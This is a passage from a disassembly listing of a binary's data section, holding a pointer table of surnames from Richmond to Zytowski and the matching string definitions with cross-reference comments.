		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: nsp0:00430CA8o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: nsp0:00430CA4o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: nsp0:00430CA0o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: nsp0:00430C9Co
aZoldak		db 'Zoldak',0           ; DATA XREF: nsp0:00430C98o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: nsp0:00430C94o
aZegans		db 'Zegans',0           ; DATA XREF: nsp0:00430C90o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: nsp0:00430C8Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: nsp0:00430C88o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: nsp0:00430C84o
aYu		db 'Yu',0               ; DATA XREF: nsp0:00430C80o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: nsp0:00430C7Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: nsp0:00430C78o
aYoffe		db 'Yoffe',0            ; DATA XREF: nsp0:00430C74o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: nsp0:00430C70o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: nsp0:00430C6Co
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: nsp0:00430C68o
aYbarra		db 'Ybarra',0           ; DATA XREF: nsp0:00430C64o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: nsp0:00430C60o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: nsp0:00430C5Co
aYankee_0	db 'Yankee',0           ; DATA XREF: nsp0:00430C58o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: nsp0:00430C54o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: nsp0:00430C50o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: nsp0:00430C4Co
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: nsp0:00430C48o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: nsp0:00430C44o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: nsp0:00430C40o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: nsp0:00430C3Co
		align 4
aWoo		db 'Woo',0              ; DATA XREF: nsp0:00430C38o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: nsp0:00430C34o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: nsp0:00430C30o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: nsp0:00430C2Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: nsp0:00430C28o
aVitali		db 'Vitali',0           ; DATA XREF: nsp0:00430C24o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: nsp0:00430C20o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: nsp0:00430C1Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: nsp0:00430C18o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: nsp0:00430C14o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: nsp0:00430C10o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: nsp0:00430C0Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: nsp0:00430C08o
aWilder		db 'Wilder',0           ; DATA XREF: nsp0:00430C04o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: nsp0:00430C00o
aViens		db 'Viens',0            ; DATA XREF: nsp0:00430BFCo
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: nsp0:00430BF8o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: nsp0:00430BF4o
aViano		db 'Viano',0            ; DATA XREF: nsp0:00430BF0o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: nsp0:00430BECo
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: nsp0:00430BE8o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: nsp0:00430BE4o
		align 4
aWhite_0	db 'White',0            ; DATA XREF: nsp0:00430BE0o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: nsp0:00430BDCo
aWhately	db 'Whately',0          ; DATA XREF: nsp0:00430BD8o
aWetzel		db 'Wetzel',0           ; DATA XREF: nsp0:00430BD4o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: nsp0:00430BD0o
aVerghese	db 'Verghese',0         ; DATA XREF: nsp0:00430BCCo
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: nsp0:00430BC8o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: nsp0:00430BC4o
aWelsh		db 'Welsh',0            ; DATA XREF: nsp0:00430BC0o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: nsp0:00430BBCo
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: nsp0:00430BB8o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: nsp0:00430BB4o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: nsp0:00430BB0o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: nsp0:00430BACo
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: nsp0:00430BA8o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: nsp0:00430BA4o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: nsp0:00430BA0o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: nsp0:00430B9Co
aWasowska	db 'Wasowska',0         ; DATA XREF: nsp0:00430B98o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: nsp0:00430B94o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: nsp0:00430B90o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: nsp0:00430B8Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: nsp0:00430B88o
aVanallen	db 'vanAllen',0         ; DATA XREF: nsp0:00430B84o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: nsp0:00430B80o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: nsp0:00430B7Co
		align 4
aWales		db 'Wales',0            ; DATA XREF: nsp0:00430B78o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: nsp0:00430B74o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: nsp0:00430B70o
aWaite		db 'Waite',0            ; DATA XREF: nsp0:00430B6Co
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: nsp0:00430B68o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: nsp0:00430B64o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: nsp0:00430B60o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: nsp0:00430B5Co
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: nsp0:00430B58o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: nsp0:00430B54o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: nsp0:00430B50o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: nsp0:00430B4Co
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: nsp0:00430B48o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: nsp0:00430B44o
		align 4
aTuttle_0	db 'Tuttle',0           ; DATA XREF: nsp0:00430B40o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: nsp0:00430B3Co
		align 4
aTurano		db 'Turano',0           ; DATA XREF: nsp0:00430B38o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: nsp0:00430B34o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: nsp0:00430B30o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: nsp0:00430B2Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: nsp0:00430B28o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: nsp0:00430B24o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: nsp0:00430B20o
aTruss		db 'Truss',0            ; DATA XREF: nsp0:00430B1Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: nsp0:00430B18o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: nsp0:00430B14o
aTringali	db 'Tringali',0         ; DATA XREF: nsp0:00430B10o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: nsp0:00430B0Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: nsp0:00430B08o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: nsp0:00430B04o
		align 4
aToye		db 'Toye',0             ; DATA XREF: nsp0:00430B00o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: nsp0:00430AFCo
		align 4
aTorske		db 'Torske',0           ; DATA XREF: nsp0:00430AF8o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: nsp0:00430AF4o
aTopulos	db 'Topulos',0          ; DATA XREF: nsp0:00430AF0o
aToomer		db 'Toomer',0           ; DATA XREF: nsp0:00430AECo
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: nsp0:00430AE8o
aTolman		db 'Tolman',0           ; DATA XREF: nsp0:00430AE4o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: nsp0:00430AE0o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: nsp0:00430ADCo
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: nsp0:00430AD8o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: nsp0:00430AD4o
aTill		db 'Till',0             ; DATA XREF: nsp0:00430AD0o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: nsp0:00430ACCo
aThroop		db 'Throop',0           ; DATA XREF: nsp0:00430AC8o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: nsp0:00430AC4o
aThisted	db 'Thisted',0          ; DATA XREF: nsp0:00430AC0o
aThibault	db 'Thibault',0         ; DATA XREF: nsp0:00430ABCo
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: nsp0:00430AB8o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: nsp0:00430AB4o
		align 4
aThan		db 'Than',0             ; DATA XREF: nsp0:00430AB0o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: nsp0:00430AACo
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: nsp0:00430AA8o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: nsp0:00430AA4o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: nsp0:00430AA0o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: nsp0:00430A9Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: nsp0:00430A98o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: nsp0:00430A94o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: nsp0:00430A90o
aTatar		db 'Tatar',0            ; DATA XREF: nsp0:00430A8Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: nsp0:00430A88o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: nsp0:00430A84o
aTambiah	db 'Tambiah',0          ; DATA XREF: nsp0:00430A80o
aTalaugon	db 'Talaugon',0         ; DATA XREF: nsp0:00430A7Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: nsp0:00430A78o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: nsp0:00430A74o
aSwindle	db 'Swindle',0          ; DATA XREF: nsp0:00430A70o
aSweetser	db 'Sweetser',0         ; DATA XREF: nsp0:00430A6Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: nsp0:00430A68o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: nsp0:00430A64o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: nsp0:00430A60o
aSumner		db 'Sumner',0           ; DATA XREF: nsp0:00430A5Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: nsp0:00430A58o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: nsp0:00430A54o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: nsp0:00430A50o
aStrauch	db 'Strauch',0          ; DATA XREF: nsp0:00430A4Co
aStrange_0	db 'Strange',0          ; DATA XREF: nsp0:00430A48o
aStott		db 'Stott',0            ; DATA XREF: nsp0:00430A44o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: nsp0:00430A40o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: nsp0:00430A3Co
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: nsp0:00430A38o
aStockwell	db 'Stockwell',0        ; DATA XREF: nsp0:00430A34o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: nsp0:00430A30o
		align 4
aStock		db 'Stock',0            ; DATA XREF: nsp0:00430A2Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: nsp0:00430A28o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: nsp0:00430A24o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: nsp0:00430A20o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: nsp0:00430A1Co
aStephanian	db 'Stephanian',0       ; DATA XREF: nsp0:00430A18o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: nsp0:00430A14o
aStefani	db 'Stefani',0          ; DATA XREF: nsp0:00430A10o
aStatlender	db 'Statlender',0       ; DATA XREF: nsp0:00430A0Co
		align 4
aStates		db 'States',0           ; DATA XREF: nsp0:00430A08o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: nsp0:00430A04o
		align 4
aStang		db 'Stang',0            ; DATA XREF: nsp0:00430A00o
		align 4
aStam		db 'Stam',0             ; DATA XREF: nsp0:004309FCo
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: nsp0:004309F8o
aStmartin	db 'StMartin',0         ; DATA XREF: nsp0:004309F4o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: nsp0:004309F0o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: nsp0:004309ECo
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: nsp0:004309E8o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: nsp0:004309E4o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: nsp0:004309E0o
aSpence		db 'Spence',0           ; DATA XREF: nsp0:004309DCo
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: nsp0:004309D8o
aSpaulding	db 'Spaulding',0        ; DATA XREF: nsp0:004309D4o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: nsp0:004309D0o
aSpanier	db 'Spanier',0          ; DATA XREF: nsp0:004309CCo
aSoultanian	db 'Soultanian',0       ; DATA XREF: nsp0:004309C8o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: nsp0:004309C4o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: nsp0:004309C0o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: nsp0:004309BCo
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: nsp0:004309B8o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: nsp0:004309B4o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: nsp0:004309B0o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: nsp0:004309ACo
		align 4
aSolon		db 'Solon',0            ; DATA XREF: nsp0:004309A8o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: nsp0:004309A4o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: nsp0:004309A0o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: nsp0:0043099Co
aSmilow		db 'Smilow',0           ; DATA XREF: nsp0:00430998o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: nsp0:00430994o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: nsp0:00430990o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: nsp0:0043098Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: nsp0:00430988o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: nsp0:00430984o
		align 4
aSites		db 'Sites',0            ; DATA XREF: nsp0:00430980o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: nsp0:0043097Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: nsp0:00430978o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: nsp0:00430974o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: nsp0:00430970o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: nsp0:0043096Co
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: nsp0:00430968o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: nsp0:00430964o
aSiesto		db 'Siesto',0           ; DATA XREF: nsp0:00430960o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: nsp0:0043095Co
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: nsp0:00430958o
aShia		db 'Shia',0             ; DATA XREF: nsp0:00430954o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: nsp0:00430950o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: nsp0:0043094Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: nsp0:00430948o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: nsp0:00430944o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: nsp0:00430940o
		align 4
aShea		db 'Shea',0             ; DATA XREF: nsp0:0043093Co
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: nsp0:00430938o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: nsp0:00430934o
aShar		db 'Shar',0             ; DATA XREF: nsp0:00430930o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: nsp0:0043092Co
aShankland	db 'Shankland',0        ; DATA XREF: nsp0:00430928o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: nsp0:00430924o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: nsp0:00430920o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: nsp0:0043091Co
aSexton		db 'Sexton',0           ; DATA XREF: nsp0:00430918o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: nsp0:00430914o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: nsp0:00430910o
aSen		db 'Sen',0              ; DATA XREF: nsp0:0043090Co
aSelvage	db 'Selvage',0          ; DATA XREF: nsp0:00430908o
aSekler		db 'Sekler',0           ; DATA XREF: nsp0:00430904o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: nsp0:00430900o
		align 10h
